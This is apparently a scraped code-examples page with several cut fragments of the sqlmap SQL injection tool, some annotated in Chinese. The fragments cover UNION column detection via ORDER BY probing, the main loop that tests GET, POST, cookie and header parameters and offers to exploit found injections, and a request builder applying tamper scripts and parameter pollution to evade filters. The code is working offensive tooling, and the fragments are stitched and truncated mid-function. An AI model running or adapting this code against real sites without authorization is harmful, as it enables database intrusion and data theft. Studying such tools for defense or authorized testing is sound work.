            query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix)
            query = agent.suffixQuery(query, suffix=suffix, comment=comment)
            payload = agent.payload(newValue=query,
                                    place=place,
                                    parameter=parameter,
                                    where=where)
            page, headers, code = Request.queryPage(payload,
                                                    place=place,
                                                    content=True,
                                                    raise404=False)
            return not any(
                re.search(_, page or "", re.I)
                and not re.search(_, kb.pageTemplate or "", re.I) for _ in
                ("(warning|error):", "order (by|clause)", "unknown column",
                 "failed")) and not kb.heavilyDynamic and comparison(
                     page, headers, code) or re.search(
                         r"data types cannot be compared or sorted", page
                         or "", re.I) is not None

        if _orderByTest(
                1 if lowerCount is None else lowerCount) and not _orderByTest(
                    randomInt() if upperCount is None else upperCount + 1):
            infoMsg = "'ORDER BY' technique appears to be usable. "
            infoMsg += "This should reduce the time needed "
            infoMsg += "to find the right number "
            infoMsg += "of query columns. Automatically extending the "
            infoMsg += "range for current UNION query injection technique test"
            singleTimeLogMessage(infoMsg)

            lowCols, highCols = 1 if lowerCount is None else lowerCount, ORDER_BY_STEP if upperCount is None else upperCount
            found = None
            while not found:
                if not conf.uCols and _orderByTest(highCols):
                    lowCols = highCols
                    highCols += ORDER_BY_STEP
                else:
                    while not found:
                        mid = highCols - (highCols - lowCols) // 2
                        if _orderByTest(mid):
                            lowCols = mid
                        else:
                            highCols = mid
                        if (highCols - lowCols) < 2:
                            found = lowCols

            return found

    try:
        pushValue(kb.errorIsNone)
        items, ratios = [], []
        kb.errorIsNone = False
        lowerCount, upperCount = conf.uColsStart, conf.uColsStop

        if kb.orderByColumns is None and (
                lowerCount == 1
                or conf.uCols):  # Note: ORDER BY is not bullet-proof
            found = _orderByTechnique(
                lowerCount, upperCount) if conf.uCols else _orderByTechnique()
            if found:
                kb.orderByColumns = found
                infoMsg = "target URL appears to have %d column%s in query" % (
                    found, 's' if found > 1 else "")
                singleTimeLogMessage(infoMsg)
                return found
            elif kb.futileUnion:
                return None

        if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES:
            upperCount = lowerCount + MIN_UNION_RESPONSES

        min_, max_ = MAX_RATIO, MIN_RATIO
        pages = {}

        for count in xrange(lowerCount, upperCount + 1):
            query = agent.forgeUnionQuery('', -1, count, comment, prefix,
                                          suffix, kb.uChar, where)
            payload = agent.payload(place=place,
                                    parameter=parameter,
                                    newValue=query,
                                    where=where)
            page, headers, code = Request.queryPage(payload,
                                                    place=place,
                                                    content=True,
                                                    raise404=False)
            if not isNullValue(kb.uChar):
                pages[count] = page
            ratio = comparison(page, headers, code,
                               getRatioValue=True) or MIN_RATIO
            ratios.append(ratio)
            min_, max_ = min(min_, ratio), max(max_, ratio)
            items.append((count, ratio))

        if not isNullValue(kb.uChar):
            for regex in (kb.uChar.strip("'"),
                          r'>\s*%s\s*<' % kb.uChar.strip("'")):
                contains = [
                    count for count, content in pages.items() if re.search(
                        regex, content or "", re.IGNORECASE) is not None
                ]
                if len(contains) == 1:
                    retVal = contains[0]
                    break

        if not retVal:
            if min_ in ratios:
                ratios.pop(ratios.index(min_))
            if max_ in ratios:
                ratios.pop(ratios.index(max_))

            minItem, maxItem = None, None

            for item in items:
                if item[1] == min_:
                    minItem = item
                elif item[1] == max_:
                    maxItem = item

            if all(_ == min_ and _ != max_ for _ in ratios):
                retVal = maxItem[0]

            elif all(_ != min_ and _ == max_ for _ in ratios):
                retVal = minItem[0]

            elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE:
                deviation = stdev(ratios)

                if deviation is not None:
                    lower, upper = average(
                        ratios) - UNION_STDEV_COEFF * deviation, average(
                            ratios) + UNION_STDEV_COEFF * deviation

                    if min_ < lower:
                        retVal = minItem[0]

                    if max_ > upper:
                        if retVal is None or abs(max_ - upper) > abs(min_ -
                                                                     lower):
                            retVal = maxItem[0]
    finally:
        kb.errorIsNone = popValue()

    if retVal:
        infoMsg = "target URL appears to be UNION injectable with %d columns" % retVal
        singleTimeLogMessage(infoMsg, logging.INFO,
                             re.sub(r"\d+", "N", infoMsg))

    return retVal
Пример #28
0
def start():
    """
    This function calls a function that performs checks on both URL
    stability and all GET, POST, Cookie and User-Agent parameters to
    check if they are dynamic and SQL injection affected
    """

    '''
    conf.direct是通过命令行参数:"-d"指定的。
    通过参数"-d"指定要连接的数据库
    eg:-d "mysql:123123//root:@127.0.0.1:3306/security"
    '''
    if conf.direct:         # 调用时,使用了-d选项,那么sqlmap就会会直接进入action()函数中,连接数据库
        '''
        for example: python sqlmap.py -d "mysql://*****:*****@192.168.75.128:3306/testdb" -f --banner --dbs --user
        '''
        initTargetEnv()     # 函数主要就是完成全局变量conf和kb的初始化工作
        '''
        setupTargetEnv()
        该函数主要包含3个子功能:
        1.创建保存目标执行结果的目录和文件
        2.将get或post发送的数据解析成字典形式,并保存到conf.paramDict中
        3.读取session文件(如果存在的话),并提起文件中的数据,保存到kb变量中
        '''
        setupTargetEnv()
        '''
        action()是很重要的一个函数,该函数主要根据工程师的命令行参数选型,从而利用存在注入漏洞的url,以进一步获取工程师要获取的数据。
        比如:当前的数据库用户、枚举数据库的所有数据表等等
        '''
        action()
        return True

    if conf.url and not any((conf.forms, conf.crawlDepth)):
        '''
        将url,method,data,cookie等信息添加到kb.targets对象上
        '''
        kb.targets.add((conf.url, conf.method, conf.data, conf.cookie, None))

    if conf.configFile and not kb.targets:
        errMsg = "you did not edit the configuration file properly, set "
        errMsg += "the target URL, list of targets or google dork"
        logger.error(errMsg)
        return False

    if kb.targets and len(kb.targets) > 1:  # 需要测试多个目标URL
        infoMsg = "sqlmap got a total of %d targets" % len(kb.targets)
        logger.info(infoMsg)

    hostCount = 0
    initialHeaders = list(conf.httpHeaders)

    for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
        try:    # 开始检测
            conf.url = targetUrl                                                    # -u or --url 测试的目标URL
            conf.method = targetMethod.upper() if targetMethod else targetMethod    # --method 参数,默认情况下,sqlmap是自动检测,只有当需要检查的方法是put的时候,需要显示指定 --method=PUT
            conf.data = targetData                                                  # --data 参数,此参数是把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST的参数。详细查看readme.pdf  28pages
            conf.cookie = targetCookie                                              # --cookie 参数, 当你使用--cookie参数时,当返回一个Set-Cookie头的时候,sqlmap会询问你用哪个cookie来继续接下来的请求。当--level的参数设定为2或者2以上的时候,sqlmap会尝试注入Cookie参数。
            conf.httpHeaders = list(initialHeaders)                                 # 参数:--headers  可以通过--headers参数来增加额外的http头
            conf.httpHeaders.extend(targetHeaders or [])

            initTargetEnv()     # 主要就是完成全局变量conf和kb的初始化工作
            parseTargetUrl()    # 主要完成针对目标网址的解析工作,如获取协议名、路径、端口、请求参数等信息

            testSqlInj = False  # 表示是否注入过,默认表示注入过(即testSqlInj=false)

            '''
            conf.parameters保存需要进行SQL注入点测试的参数信息,conf.parameters是一个字典
            kb.testedParams保存已经测试了的参数信息
            测试过的url参数信息会保存到kb.testedParams中(第230行和第259行),所以在进行test之前,会先判断当前的url是否已经test过
            如果没test过的话,则testSqlInj = True,否则testSqlInj = False。
            当testSqlInj = False的时候,表示当前需要进行测试的URL已经测试过了,就不会执行 injection = checkSqlInjection(place, parameter, value)这句代码了
            '''
            if PLACE.GET in conf.parameters and not any([conf.data, conf.testParameter]):
                for parameter in re.findall(r"([^=]+)=([^%s]+%s?|\Z)" % (re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER, re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]):
                    paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[0])

                    if paramKey not in kb.testedParams:
                        testSqlInj = True
                        break
            else:
                paramKey = (conf.hostname, conf.path, None, None)  # 测试其他参数信息,判断是否存在注入信息
                if paramKey not in kb.testedParams:
                    testSqlInj = True

            if testSqlInj and conf.hostname in kb.vulnHosts:
                if kb.skipVulnHost is None:
                    message = "SQL injection vulnerability has already been detected "
                    message += "against '%s'. Do you want to skip " % conf.hostname
                    message += "further tests involving it? [Y/n]"
                    kb.skipVulnHost = readInput(message, default="Y").upper() != 'N'
                testSqlInj = not kb.skipVulnHost

            if not testSqlInj:          # 表示当前需要测试的URL已经测试过了,不需要进行测试了
                infoMsg = "skipping '%s'" % targetUrl
                logger.info(infoMsg)
                continue

            if conf.multipleTargets:    # 当检测的目标存在多个的时候
                hostCount += 1

                if conf.forms and conf.method:
                    message = "[#%d] form:\n%s %s" % (hostCount, conf.method, targetUrl)
                else:
                    message = "URL %d:\n%s %s%s" % (hostCount, HTTPMETHOD.GET, targetUrl, " (PageRank: %s)" % get_pagerank(targetUrl) if conf.googleDork and conf.pageRank else "")

                if conf.cookie:
                    message += "\nCookie: %s" % conf.cookie

                if conf.data is not None:
                    message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data) if conf.data else "")

                if conf.forms and conf.method:
                    if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1:
                        continue

                    message += "\ndo you want to test this form? [Y/n/q] "
                    test = readInput(message, default="Y")

                    if not test or test[0] in ("y", "Y"):
                        if conf.method != HTTPMETHOD.GET:
                            message = "Edit %s data [default: %s]%s: " % (conf.method, urlencode(conf.data) if conf.data else "None", " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "")
                            conf.data = readInput(message, default=conf.data)
                            conf.data = _randomFillBlankFields(conf.data)
                            conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data

                        else:
                            if targetUrl.find("?") > -1:
                                firstPart = targetUrl[:targetUrl.find("?")]
                                secondPart = targetUrl[targetUrl.find("?") + 1:]
                                message = "Edit GET data [default: %s]: " % secondPart
                                test = readInput(message, default=secondPart)
                                test = _randomFillBlankFields(test)
                                conf.url = "%s?%s" % (firstPart, test)

                        parseTargetUrl()  # parseTargetUrl()函数主要完成针对目标网址的解析工作,如获取协议名、路径、端口、请求参数等信息

                    elif test[0] in ("n", "N"):
                        continue
                    elif test[0] in ("q", "Q"):
                        break

                else:
                    message += "\ndo you want to test this URL? [Y/n/q]"
                    test = readInput(message, default="Y")

                    if not test or test[0] in ("y", "Y"):
                        pass
                    elif test[0] in ("n", "N"):
                        dataToStdout(os.linesep)
                        continue
                    elif test[0] in ("q", "Q"):
                        break

                    infoMsg = "testing URL '%s'" % targetUrl
                    logger.info(infoMsg)

            '''
            setupTargetEnv(),该函数主要包含3个子功能:
            1.创建保存目标执行结果的目录和文件
            2.将get或post发送的数据解析成字典形式,并保存到conf.paramDict中
            3.读取session文件(如果存在的话),并提起文件中的数据,保存到kb变量中
            '''
            setupTargetEnv()  # 设置目标系统的环境信息

            '''
            checkConnection()函数主要是判断目标URL是否能够正常连接
            '''
            if not checkConnection(suppressOutput=conf.forms) or not checkString() or not checkRegexp():
                continue

            # Determines if a web server is protected by an IPS (Intrusion Prevention System), IDS (Intrusion Detection System) or WAF (Web Application Firewall)
            checkWaf()   # 检测WAF(Web Application FireWall),检测方法是NMAP的http-waf-detect.nse,判断系统是否被防火墙所保护

            # conf.identifyWaf=True表示需要检测后台防火墙的类型,否则,表示不检测防火墙类型
            # 判断防火墙的类型
            if conf.identifyWaf:  # conf.identifyWaf表示sqlmap的参数 --identify-waf,如果指定了此参数,就会进入identifyWaf()函数中
                identifyWaf()     # 主要检测的WAF(防火墙)都在sqlmap的waf目录下面

            if conf.nullConnection:
                checkNullConnection()  # 空连接就是不用密码和用户名的IPC(Internet Process Connection) 连接,在Windows 下,它是用 Net 命令来实现的.

            if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) \
                and (kb.injection.place is None or kb.injection.parameter is None):

                if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech:
                    # NOTE: this is not needed anymore, leaving only to display
                    # a warning message to the user in case the page is not stable
                    # 判断页面是否是稳定页面(何谓稳定页面--两次相同的URL请求,返回的页面信息没有发生变化,如新浪微博的页面就不是稳定的,因为每次刷新过后,页面的内容会发生变化)
                    checkStability()

                # Do a little prioritization reorder of a testable parameter list
                parameters = conf.parameters.keys()

                # Order of testing list (first to last) #测试注入点位置的几种情况
                orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI, PLACE.POST, PLACE.GET)

                for place in orderList[::-1]:
                    if place in parameters:
                        parameters.remove(place)
                        parameters.insert(0, place)

                proceed = True
                '''
                开始测试参数是否可以注入(测试之前没有测试过的参数)
                测试GET参数,POST参数,HTTP Cookie参数,HTTP User-Agent头和HTTP Referer头来确认是否有SQL注入,
                它也可以指定用逗号分隔的列表的具体参数来测试。
                parameters存储GET/POST/HTTP Cookie/HTTP User-Agent header/HTTP Referer header等信息
                '''
                for place in parameters:  # 检测在哪些参数位置可以进行注入的
                    # Test User-Agent and Referer headers only if
                    # --level >= 3
                    skip = (place == PLACE.USER_AGENT and conf.level < 3)
                    skip |= (place == PLACE.REFERER and conf.level < 3)

                    # Test Host header only if
                    # --level >= 5
                    skip |= (place == PLACE.HOST and conf.level < 5)

                    # Test Cookie header only if --level >= 2
                    skip |= (place == PLACE.COOKIE and conf.level < 2)

                    skip |= (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.skip, True) not in ([], None))
                    skip |= (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.skip, True) not in ([], None))
                    skip |= (place == PLACE.COOKIE and intersect(PLACE.COOKIE, conf.skip, True) not in ([], None))
                    skip |= (place == PLACE.HOST and intersect(PLACE.HOST, conf.skip, True) not in ([], None))

                    skip &= not (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.testParameter, True))
                    skip &= not (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.testParameter, True))
                    skip &= not (place == PLACE.HOST and intersect(HOST_ALIASES, conf.testParameter, True))
                    skip &= not (place == PLACE.COOKIE and intersect((PLACE.COOKIE,), conf.testParameter, True))

                    if skip:
                        continue

                    if kb.testOnlyCustom and place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
                        continue

                    if place not in conf.paramDict:
                        continue

                    paramDict = conf.paramDict[place]

                    paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place

                    for parameter, value in paramDict.items():
                        if not proceed:
                            break

                        kb.vainRun = False
                        testSqlInj = True
                        paramKey = (conf.hostname, conf.path, place, parameter)

                        '''
                        kb.testedParams用于保存已经注入了的信息,例如:目标IP,请求路径,注入点位置信息等

                        '''
                        if paramKey in kb.testedParams:
                            testSqlInj = False

                            infoMsg = "skipping previously processed %s parameter '%s'" % (paramType, parameter)
                            logger.info(infoMsg)

                        elif parameter in conf.testParameter:
                            pass

                        elif parameter == conf.rParam:
                            testSqlInj = False

                            infoMsg = "skipping randomizing %s parameter '%s'" % (paramType, parameter)
                            logger.info(infoMsg)

                        elif parameter in conf.skip or kb.postHint and parameter.split(' ')[-1] in conf.skip:
                            testSqlInj = False

                            infoMsg = "skipping %s parameter '%s'" % (paramType, parameter)
                            logger.info(infoMsg)

                        elif parameter == conf.csrfToken:
                            testSqlInj = False

                            infoMsg = "skipping anti-CSRF token parameter '%s'" % parameter
                            logger.info(infoMsg)

                        # Ignore session-like parameters for --level < 4
                        elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)):
                            testSqlInj = False

                            infoMsg = "ignoring %s parameter '%s'" % (paramType, parameter)
                            logger.info(infoMsg)

                        elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech or conf.skipStatic:
                            '''
                            checkDynParam()函数会判断参数是否是动态的,比如index.php?id=1,通过更改id的值,如果参数id是动态的,则返回的页面会不相同,否则相同。
                            '''
                            check = checkDynParam(place, parameter, value)

                            if not check:
                                warnMsg = "%s parameter '%s' does not appear dynamic" % (paramType, parameter)
                                logger.warn(warnMsg)

                                if conf.skipStatic:
                                    infoMsg = "skipping static %s parameter '%s'" % (paramType, parameter)
                                    logger.info(infoMsg)

                                    testSqlInj = False
                            else:
                                infoMsg = "%s parameter '%s' is dynamic" % (paramType, parameter)
                                logger.info(infoMsg)

                        kb.testedParams.add(paramKey)

                        if testSqlInj:
                            try:
                                if place == PLACE.COOKIE:
                                    pushValue(kb.mergeCookies)
                                    kb.mergeCookies = False

                                '''
                                heuristicCheckSqlInjection()函数的主要作用可以分为以下几点:
                                1.数据库版本的识别。
                                2.绝对路径获取。
                                3.XSS的测试
                                参考网站地址:http://drops.wooyun.org/papers/10652
                                heuristic <basic> test shows that GET parameter
                                heuristic <XSS> test shows that GET parameter
                                '''
                                check = heuristicCheckSqlInjection(place, parameter)  #进行简单的测试,设置一个payload(攻击点代码),然后解析请求结果

                                if check != HEURISTIC_TEST.POSITIVE:
                                    if conf.smart or (kb.ignoreCasted and check == HEURISTIC_TEST.CASTED):
                                        infoMsg = "skipping %s parameter '%s'" % (paramType, parameter)
                                        logger.info(infoMsg)
                                        continue

                                infoMsg = "testing for SQL injection on %s " % paramType
                                infoMsg += "parameter '%s'" % parameter
                                logger.info(infoMsg)

                                '''
                                在调用checkSqlInjection注入之前,就已经判断出数据库的类型了。
                                testSqlInj=true表示之前没有检测过,就会调用checkSqlInjection()函数
                                checkSqlInjection()函数才是真正开始测试的函数,传入的参数是注入方法名,参数名,参数值
                                '''

                                injection = checkSqlInjection(place, parameter, value)
                                proceed = not kb.endDetection
                                injectable = False

                                if getattr(injection, "place", None) is not None:
                                    if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE in injection.notes:
                                        kb.falsePositives.append(injection)
                                    else:
                                        injectable = True

                                        kb.injections.append(injection)

                                        # In case when user wants to end detection phase (Ctrl+C)
                                        if not proceed:
                                            break

                                        msg = "%s parameter '%s' " % (injection.place, injection.parameter)
                                        msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] "
                                        test = readInput(msg, default="N")

                                        if test[0] not in ("y", "Y"):
                                            proceed = False
                                            paramKey = (conf.hostname, conf.path, None, None)
                                            kb.testedParams.add(paramKey)

                                if not injectable:
                                    warnMsg = "%s parameter '%s' is not " % (paramType, parameter)
                                    warnMsg += "injectable"
                                    logger.warn(warnMsg)

                            finally:
                                if place == PLACE.COOKIE:
                                    kb.mergeCookies = popValue()

            if len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None):
                if kb.vainRun and not conf.multipleTargets:
                    errMsg = "no parameter(s) found for testing in the provided data "
                    errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')"
                    raise SqlmapNoneDataException(errMsg)
                else:
                    errMsg = "all tested parameters appear to be not injectable."

                    if conf.level < 5 or conf.risk < 3:
                        errMsg += " Try to increase '--level'/'--risk' values "
                        errMsg += "to perform more tests."

                    if isinstance(conf.tech, list) and len(conf.tech) < 5:
                        errMsg += " Rerun without providing the option '--technique'."

                    if not conf.textOnly and kb.originalPage:
                        percent = (100.0 * len(getFilteredPageContent(kb.originalPage)) / len(kb.originalPage))

                        if kb.dynamicMarkings:
                            errMsg += " You can give it a go with the switch '--text-only' "
                            errMsg += "if the target page has a low percentage "
                            errMsg += "of textual content (~%.2f%% of " % percent
                            errMsg += "page content is text)."
                        elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone:
                            errMsg += " Please retry with the switch '--text-only' "
                            errMsg += "(along with --technique=BU) as this case "
                            errMsg += "looks like a perfect candidate "
                            errMsg += "(low textual content along with inability "
                            errMsg += "of comparison engine to detect at least "
                            errMsg += "one dynamic parameter)."

                    if kb.heuristicTest == HEURISTIC_TEST.POSITIVE:
                        errMsg += " As heuristic test turned out positive you are "
                        errMsg += "strongly advised to continue on with the tests. "
                        errMsg += "Please, consider usage of tampering scripts as "
                        errMsg += "your target might filter the queries."

                    if not conf.string and not conf.notString and not conf.regexp:
                        errMsg += " Also, you can try to rerun by providing "
                        errMsg += "either a valid value for option '--string' "
                        errMsg += "(or '--regexp')."
                    elif conf.string:
                        errMsg += " Also, you can try to rerun by providing a "
                        errMsg += "valid value for option '--string' as perhaps the string you "
                        errMsg += "have chosen does not match "
                        errMsg += "exclusively True responses."
                    elif conf.regexp:
                        errMsg += " Also, you can try to rerun by providing a "
                        errMsg += "valid value for option '--regexp' as perhaps the regular "
                        errMsg += "expression that you have chosen "
                        errMsg += "does not match exclusively True responses."

                    if not conf.tamper:
                        errMsg += " If you suspect that there is some kind of protection mechanism "
                        errMsg += "involved (e.g. WAF) maybe you could retry "
                        errMsg += "with an option '--tamper' (e.g. '--tamper=space2comment')"

                    raise SqlmapNotVulnerableException(errMsg.rstrip('.'))
            else:
                # Flush the flag
                kb.testMode = False

                '''
                这四个函数的作用就是保存结果保存结果、保存session、显示注入结果,包括类型,payload等。
                '''
                _saveToResultsFile()
                _saveToHashDB()
                _showInjections()
                _selectInjection()

            if kb.injection.place is not None and kb.injection.parameter is not None:
                if conf.multipleTargets:
                    message = "do you want to exploit this SQL injection? [Y/n] "
                    exploit = readInput(message, default="Y")

                    condition = not exploit or exploit[0] in ("y", "Y")
                else:
                    condition = True

                if condition:
                    action()

        except KeyboardInterrupt:
            if conf.multipleTargets:
                warnMsg = "user aborted in multiple target mode"
                logger.warn(warnMsg)

                message = "do you want to skip to the next target in list? [Y/n/q]"
                test = readInput(message, default="Y")

                if not test or test[0] in ("y", "Y"):
                    pass
                elif test[0] in ("n", "N"):
                    return False
                elif test[0] in ("q", "Q"):
                    raise SqlmapUserQuitException
            else:
                raise

        except SqlmapUserQuitException:
            raise

        except SqlmapSilentQuitException:
            raise

        except SqlmapBaseException, ex:
            errMsg = getSafeExString(ex)

            if conf.multipleTargets:
                _saveToResultsFile()

                errMsg += ", skipping to the next %s" % ("form" if conf.forms else "URL")
                logger.error(errMsg)
            else:
                logger.critical(errMsg)
                return False

        finally:
Пример #29
0
    def queryPage(value=None,
                  place=None,
                  content=False,
                  getRatioValue=False,
                  silent=False,
                  method=None,
                  timeBasedCompare=False,
                  noteResponseTime=True,
                  auxHeaders=None,
                  response=False,
                  raise404=None,
                  removeReflection=True):
        """
        This method calls a function to get the target URL page content
        and returns its page MD5 hash or a boolean value in case of
        string match check ('--string' command line parameter)
        """

        if conf.direct:
            return direct(value, content)

        get = None
        post = None
        cookie = None
        ua = None
        referer = None
        host = None
        page = None
        pageLength = None
        uri = None
        code = None
        urlEncodePost = None

        if not place:
            place = kb.injection.place or PLACE.GET

        raise404 = place != PLACE.URI if raise404 is None else raise404

        value = agent.adjustLateValues(value)
        payload = agent.extractPayload(value)
        threadData = getCurrentThreadData()

        if conf.httpHeaders:
            headers = dict(conf.httpHeaders)
            contentType = max(headers[_] if _.upper() ==
                              HTTP_HEADER.CONTENT_TYPE.upper() else None
                              for _ in headers.keys())
            urlEncodePost = contentType and "urlencoded" in contentType or contentType is None

            if (kb.postHint or conf.skipUrlEncode) and urlEncodePost:
                urlEncodePost = False
                conf.httpHeaders = [
                    _ for _ in conf.httpHeaders if _[1] != contentType
                ]
                contentType = POST_HINT_CONTENT_TYPES.get(
                    kb.postHint, PLAIN_TEXT_CONTENT_TYPE)
                conf.httpHeaders.append(
                    (HTTP_HEADER.CONTENT_TYPE, contentType))

        if payload:
            if kb.tamperFunctions:
                for function in kb.tamperFunctions:
                    payload = function(payload=payload, headers=auxHeaders)
                    if not isinstance(payload, basestring):
                        errMsg = "tamper function '%s' returns " % function.func_name
                        errMsg += "invalid payload type ('%s')" % type(payload)
                        raise SqlmapValueException(errMsg)

                value = agent.replacePayload(value, payload)

            logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload))

            if place == PLACE.CUSTOM_POST:
                if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
                    # payloads in SOAP/XML should have chars > and < replaced
                    # with their HTML encoded counterparts
                    payload = payload.replace('>', "&gt;").replace('<', "&lt;")
                elif kb.postHint == POST_HINT.JSON:
                    if payload.startswith('"') and payload.endswith('"'):
                        payload = json.dumps(payload[1:-1])
                    else:
                        payload = json.dumps(payload)[1:-1]
                value = agent.replacePayload(value, payload)
            else:
                # GET, POST, URI and Cookie payload needs to be throughly URL encoded
                if place in (PLACE.GET, PLACE.URI, PLACE.COOKIE
                             ) and not conf.skipUrlEncode or place in (
                                 PLACE.POST, ) and urlEncodePost:
                    payload = urlencode(payload, '%', False,
                                        place != PLACE.URI)
                    value = agent.replacePayload(value, payload)

            if conf.hpp:
                if not any(conf.url.lower().endswith(_.lower())
                           for _ in (WEB_API.ASP, WEB_API.ASPX)):
                    warnMsg = "HTTP parameter pollution should work only against "
                    warnMsg += "ASP(.NET) targets"
                    singleTimeWarnMessage(warnMsg)
                if place in (PLACE.GET, PLACE.POST):
                    _ = re.escape(PAYLOAD_DELIMITER)
                    match = re.search(
                        "(?P<name>\w+)=%s(?P<value>.+?)%s" % (_, _), value)
                    if match:
                        payload = match.group("value")

                        for splitter in (urlencode(' '), ' '):
                            if splitter in payload:
                                prefix, suffix = (
                                    "*/", "/*") if splitter == ' ' else (
                                        urlencode(_) for _ in ("*/", "/*"))
                                parts = payload.split(splitter)
                                parts[0] = "%s%s" % (parts[0], suffix)
                                parts[-1] = "%s%s=%s%s" % (
                                    DEFAULT_GET_POST_DELIMITER,
                                    match.group("name"), prefix, parts[-1])
                                for i in xrange(1, len(parts) - 1):
                                    parts[i] = "%s%s=%s%s%s" % (
                                        DEFAULT_GET_POST_DELIMITER,
                                        match.group("name"), prefix, parts[i],
                                        suffix)
                                payload = "".join(parts)

                        for splitter in (urlencode(','), ','):
                            payload = payload.replace(
                                splitter,
                                "%s%s=" % (DEFAULT_GET_POST_DELIMITER,
                                           match.group("name")))

                        value = agent.replacePayload(value, payload)
                else:
                    warnMsg = "HTTP parameter pollution works only with regular "
                    warnMsg += "GET and POST parameters"
                    singleTimeWarnMessage(warnMsg)

        if place:
            value = agent.removePayloadDelimiters(value)

        if PLACE.GET in conf.parameters:
            get = conf.parameters[
                PLACE.GET] if place != PLACE.GET or not value else value

        if PLACE.POST in conf.parameters:
            post = conf.parameters[
                PLACE.POST] if place != PLACE.POST or not value else value

        if PLACE.CUSTOM_POST in conf.parameters:
            post = conf.parameters[PLACE.CUSTOM_POST].replace(
                CUSTOM_INJECTION_MARK_CHAR,
                "") if place != PLACE.CUSTOM_POST or not value else value
            post = post.replace(ASTERISK_MARKER, '*') if post else post

        if PLACE.COOKIE in conf.parameters:
            cookie = conf.parameters[
                PLACE.COOKIE] if place != PLACE.COOKIE or not value else value

        if PLACE.USER_AGENT in conf.parameters:
            ua = conf.parameters[
                PLACE.
                USER_AGENT] if place != PLACE.USER_AGENT or not value else value

        if PLACE.REFERER in conf.parameters:
            referer = conf.parameters[
                PLACE.
                REFERER] if place != PLACE.REFERER or not value else value

        if PLACE.HOST in conf.parameters:
            host = conf.parameters[
                PLACE.HOST] if place != PLACE.HOST or not value else value

        if PLACE.URI in conf.parameters:
            uri = conf.url if place != PLACE.URI or not value else value
        else:
            uri = conf.url

        if value and place == PLACE.CUSTOM_HEADER:
            if not auxHeaders:
                auxHeaders = {}
            auxHeaders[value.split(',')[0]] = value.split(',', 1)[1]

        if conf.rParam:

            def _randomizeParameter(paramString, randomParameter):
                retVal = paramString
                match = re.search("%s=(?P<value>[^&;]+)" % randomParameter,
                                  paramString)
                if match:
                    origValue = match.group("value")
                    retVal = re.sub(
                        "%s=[^&;]+" % randomParameter, "%s=%s" %
                        (randomParameter, randomizeParameterValue(origValue)),
                        paramString)
                return retVal

            for randomParameter in conf.rParam:
                for item in (PLACE.GET, PLACE.POST, PLACE.COOKIE):
                    if item in conf.parameters:
                        if item == PLACE.GET and get:
                            get = _randomizeParameter(get, randomParameter)
                        elif item == PLACE.POST and post:
                            post = _randomizeParameter(post, randomParameter)
                        elif item == PLACE.COOKIE and cookie:
                            cookie = _randomizeParameter(
                                cookie, randomParameter)

        if conf.evalCode:
            delimiter = conf.pDel or DEFAULT_GET_POST_DELIMITER
            variables = {}
            originals = {}

            for item in filter(None, (get, post)):
                for part in item.split(delimiter):
                    if '=' in part:
                        name, value = part.split('=', 1)
                        value = urldecode(value,
                                          convall=True,
                                          plusspace=(item == post
                                                     and kb.postSpaceToPlus))
                        evaluateCode("%s=%s" % (name, repr(value)), variables)

            if cookie:
                for part in cookie.split(conf.cDel
                                         or DEFAULT_COOKIE_DELIMITER):
                    if '=' in part:
                        name, value = part.split('=', 1)
                        value = urldecode(value, convall=True)
                        evaluateCode("%s=%s" % (name, repr(value)), variables)

            originals.update(variables)
            evaluateCode(conf.evalCode, variables)

            for name, value in variables.items():
                if name != "__builtins__" and originals.get(name, "") != value:
                    if isinstance(value, (basestring, int)):
                        value = unicode(value)
                        if re.search(r"\b%s=" % name, (get or "")):
                            get = re.sub(
                                "((\A|\W)%s=)([^%s]+)" % (name, delimiter),
                                "\g<1>%s" % value, get)
                        elif re.search(r"\b%s=" % name, (post or "")):
                            post = re.sub(
                                "((\A|\W)%s=)([^%s]+)" % (name, delimiter),
                                "\g<1>%s" % value, post)
                        elif re.search(r"\b%s=" % name, (cookie or "")):
                            cookie = re.sub(
                                "((\A|\W)%s=)([^%s]+)" %
                                (name, conf.cDel or DEFAULT_COOKIE_DELIMITER),
                                "\g<1>%s" % value, cookie)
                        elif post is not None:
                            post += "%s%s=%s" % (delimiter, name, value)
                        else:
                            get += "%s%s=%s" % (delimiter, name, value)

        if not conf.skipUrlEncode:
            get = urlencode(get, limit=True)

        if post is not None:
            if place not in (PLACE.POST, PLACE.CUSTOM_POST) and hasattr(
                    post, UNENCODED_ORIGINAL_VALUE):
